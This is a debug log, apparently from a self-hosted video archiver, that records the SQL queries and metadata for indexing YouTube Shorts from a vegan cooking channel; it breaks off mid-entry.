SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-10 15:00:02Z], 1] 20:29:27.408 [debug] QUERY OK source="media_items" db=0.6ms idle=1006.1ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["HOT AND STEAMY MASSAGE. Massaged kale that is!", "c3886caf-ca2e-4a2d-b42f-e3538a9f096b", 1, [], 40, false, "4o0AYESqNKA", "https://www.youtube.com/shorts/4o0AYESqNKA", 386, "/downloads/downloads/alec/Steamy Vegan/2022-06-10 HOT AND STEAMY MASSAGE. Massaged kale that is!/HOT AND STEAMY MASSAGE. Massaged kale that is! [4o0AYESqNKA].NA", false, false, true, 2, ~U[2022-06-10 15:00:02Z], ~U[2026-03-22 03:29:27Z], ~U[2026-03-22 03:29:27Z], "", "HOT AND STEAMY MASSAGE. Massaged kale that is!", 1, 40, false, "4o0AYESqNKA", "https://www.youtube.com/shorts/4o0AYESqNKA", "/downloads/downloads/alec/Steamy Vegan/2022-06-10 HOT AND STEAMY MASSAGE. Massaged kale that is!/HOT AND STEAMY MASSAGE. Massaged kale that is! [4o0AYESqNKA].NA", true, ~U[2022-06-10 15:00:02Z]] 20:29:27.408 [debug] QUERY OK source="sources" db=0.4ms idle=950.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:27.409 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:27.409 [debug] QUERY OK source="media_items" db=0.3ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [775] 20:29:27.409 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Full Recipe Video: https://youtu.be/c6Y4Z2y_j8A\n\nThis vegan and gluten free fettucine is so easy and delicious that you'll make it year-round.", "duration" => 7, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-09 Buttery Fettucine Made Almost As Quick As This Video/Buttery Fettucine Made Almost As Quick As This Video [8E7qdW8c_Ew].NA", "id" => "8E7qdW8c_Ew", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/8E7qdW8c_Ew", "playlist_index" => 387, "timestamp" => 1654818414, "title" => "Buttery Fettucine Made Almost As Quick As This Video", "upload_date" => "20220609"} 20:29:27.411 [debug] QUERY OK source="sources" db=0.8ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:27.411 [debug] QUERY OK source="sources" db=0.4ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:27.414 [debug] QUERY OK source="media_items" db=2.1ms idle=3.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-09 23:46:54Z], 1] 20:29:27.415 [debug] QUERY OK source="media_items" db=0.7ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Full Recipe Video: https://youtu.be/c6Y4Z2y_j8A\n\nThis vegan and gluten free fettucine is so easy and delicious that you'll make it year-round.", "Buttery Fettucine Made Almost As Quick As This Video", "893d70cb-cec6-4ec7-879f-de5ffffdaf7f", 1, [], 7, false, "8E7qdW8c_Ew", "https://www.youtube.com/shorts/8E7qdW8c_Ew", 387, "/downloads/downloads/alec/Steamy Vegan/2022-06-09 Buttery Fettucine Made Almost As Quick As This Video/Buttery Fettucine Made Almost As Quick As This Video [8E7qdW8c_Ew].NA", false, false, true, 0, ~U[2022-06-09 23:46:54Z], ~U[2026-03-22 03:29:27Z], ~U[2026-03-22 03:29:27Z], "Full Recipe Video: https://youtu.be/c6Y4Z2y_j8A\n\nThis vegan and gluten free fettucine is so easy and delicious that you'll make it year-round.", "Buttery Fettucine Made Almost As Quick As This Video", 1, 7, false, "8E7qdW8c_Ew", "https://www.youtube.com/shorts/8E7qdW8c_Ew", "/downloads/downloads/alec/Steamy Vegan/2022-06-09 Buttery Fettucine Made Almost As Quick As This Video/Buttery Fettucine Made Almost As Quick As This Video [8E7qdW8c_Ew].NA", true, ~U[2022-06-09 23:46:54Z]] 20:29:27.415 [debug] QUERY OK source="sources" db=0.2ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:27.416 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:27.416 [debug] QUERY OK source="media_items" db=0.3ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [776] 20:29:27.417 [debug] Current batch of media processed. Will check again in 1000ms 20:29:28.419 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Full Recipe Video: https://youtu.be/4yT2hTmzayE\n\nThis roasted carrot, beet and brussels salad is vegan, gluten-free, and served hot and spicy. It's super healthy, packed full of protein and a great plant-based dish for any time of the year.\n\nDon't forget to subscribe for more delicious, hot and steamy, vegan and gluten free recipes!", "duration" => 45, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-09 SALAD SERVED HOT AND SPICY/SALAD SERVED HOT AND SPICY [DMVLJryUtz4].NA", "id" => "DMVLJryUtz4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/DMVLJryUtz4", "playlist_index" => 388, "timestamp" => 1654798190, "title" => "SALAD SERVED HOT AND SPICY", "upload_date" => "20220609"} 20:29:28.422 [debug] QUERY OK source="sources" db=2.5ms queue=0.1ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:28.424 [debug] QUERY OK source="sources" db=1.6ms idle=1006.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:28.427 [debug] QUERY OK source="media_items" db=2.3ms queue=0.5ms idle=1008.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-09 18:09:50Z], 1] 20:29:28.430 [debug] QUERY OK source="media_items" db=2.3ms idle=1010.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Full Recipe Video: https://youtu.be/4yT2hTmzayE\n\nThis roasted carrot, beet and brussels salad is vegan, gluten-free, and served hot and spicy. It's super healthy, packed full of protein and a great plant-based dish for any time of the year.\n\nDon't forget to subscribe for more delicious, hot and steamy, vegan and gluten free recipes!", "SALAD SERVED HOT AND SPICY", "2ef6de79-c2b3-42c2-a496-523f7fe08c17", 1, [], 45, false, "DMVLJryUtz4", "https://www.youtube.com/shorts/DMVLJryUtz4", 388, "/downloads/downloads/alec/Steamy Vegan/2022-06-09 SALAD SERVED HOT AND SPICY/SALAD SERVED HOT AND SPICY [DMVLJryUtz4].NA", false, false, true, 1, ~U[2022-06-09 18:09:50Z], ~U[2026-03-22 03:29:28Z], ~U[2026-03-22 03:29:28Z], "Full Recipe Video: https://youtu.be/4yT2hTmzayE\n\nThis roasted carrot, beet and brussels salad is vegan, gluten-free, and served hot and spicy. It's super healthy, packed full of protein and a great plant-based dish for any time of the year.\n\nDon't forget to subscribe for more delicious, hot and steamy, vegan and gluten free recipes!", "SALAD SERVED HOT AND SPICY", 1, 45, false, "DMVLJryUtz4", "https://www.youtube.com/shorts/DMVLJryUtz4", "/downloads/downloads/alec/Steamy Vegan/2022-06-09 SALAD SERVED HOT AND SPICY/SALAD SERVED HOT AND SPICY [DMVLJryUtz4].NA", true, ~U[2022-06-09 18:09:50Z]] 20:29:28.431 [debug] QUERY OK source="sources" db=0.8ms idle=970.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:28.431 [debug] QUERY OK source="media_profiles" db=0.5ms idle=8.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:28.433 [debug] QUERY OK source="media_items" db=0.4ms queue=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [777] 20:29:28.433 [debug] Current batch of media processed. Will check again in 1000ms 20:29:29.434 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-09 Smells like an Italian restaurant/Smells like an Italian restaurant [bZbZQIry6r4].NA", "id" => "bZbZQIry6r4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/bZbZQIry6r4", "playlist_index" => 389, "timestamp" => 1654786818, "title" => "Smells like an Italian restaurant", "upload_date" => "20220609"} 20:29:29.436 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1004.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:29.437 [debug] QUERY OK source="sources" db=1.0ms idle=1005.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:29.440 [debug] QUERY OK source="media_items" db=2.6ms idle=1005.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-09 15:00:18Z], 1] 20:29:29.441 [debug] QUERY OK source="media_items" db=0.7ms idle=1007.7ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Smells like an Italian restaurant", "2e4cc069-2d1a-4073-bdc6-dd8917cbcce5", 1, [], 11, false, "bZbZQIry6r4", "https://www.youtube.com/shorts/bZbZQIry6r4", 389, "/downloads/downloads/alec/Steamy Vegan/2022-06-09 Smells like an Italian restaurant/Smells like an Italian restaurant [bZbZQIry6r4].NA", false, false, true, 2, ~U[2022-06-09 15:00:18Z], ~U[2026-03-22 03:29:29Z], ~U[2026-03-22 03:29:29Z], "", "Smells like an Italian restaurant", 1, 11, false, "bZbZQIry6r4", "https://www.youtube.com/shorts/bZbZQIry6r4", "/downloads/downloads/alec/Steamy Vegan/2022-06-09 Smells like an Italian restaurant/Smells like an Italian restaurant [bZbZQIry6r4].NA", true, ~U[2022-06-09 15:00:18Z]] 20:29:29.442 [debug] QUERY OK source="sources" db=0.4ms idle=979.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:29.443 [debug] QUERY OK source="media_profiles" db=0.7ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:29.444 [debug] QUERY OK source="media_items" db=0.4ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [778] 20:29:29.444 [debug] Current batch of media processed. Will check again in 1000ms 20:29:30.445 [debug] Current batch of media processed. Will check again in 1000ms 20:29:31.446 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This viral tik tok pasta is so unreal and I've made a full recipe video for you down below.\nFull Video: https://youtu.be/0x08omFb7wA", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-08 Live Life Saucy/Live Life Saucy [anGUjPuuUI8].NA", "id" => "anGUjPuuUI8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/anGUjPuuUI8", "playlist_index" => 390, "timestamp" => 1654726728, "title" => "Live Life Saucy", "upload_date" => "20220608"} 20:29:31.448 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=979.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:31.450 [debug] QUERY OK source="sources" db=0.6ms queue=0.6ms idle=865.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:31.454 [debug] QUERY OK source="media_items" db=3.2ms queue=0.4ms idle=866.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-08 22:18:48Z], 1] 20:29:31.455 [debug] QUERY OK source="media_items" db=1.3ms idle=871.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This viral tik tok pasta is so unreal and I've made a full recipe video for you down below.\nFull Video: https://youtu.be/0x08omFb7wA", "Live Life Saucy", "81b7097d-c1bd-4407-bfc3-d1eddab554da", 1, [], 14, false, "anGUjPuuUI8", "https://www.youtube.com/shorts/anGUjPuuUI8", 390, "/downloads/downloads/alec/Steamy Vegan/2022-06-08 Live Life Saucy/Live Life Saucy [anGUjPuuUI8].NA", false, false, true, 0, ~U[2022-06-08 22:18:48Z], ~U[2026-03-22 03:29:31Z], ~U[2026-03-22 03:29:31Z], "This viral tik tok pasta is so unreal and I've made a full recipe video for you down below.\nFull Video: https://youtu.be/0x08omFb7wA", "Live Life Saucy", 1, 14, false, "anGUjPuuUI8", "https://www.youtube.com/shorts/anGUjPuuUI8", "/downloads/downloads/alec/Steamy Vegan/2022-06-08 Live Life Saucy/Live Life Saucy [anGUjPuuUI8].NA", true, ~U[2022-06-08 22:18:48Z]] 20:29:31.456 [debug] QUERY OK source="sources" db=0.7ms idle=872.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:31.457 [debug] QUERY OK source="media_profiles" db=0.7ms idle=8.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:31.458 [debug] QUERY OK source="media_items" db=0.3ms 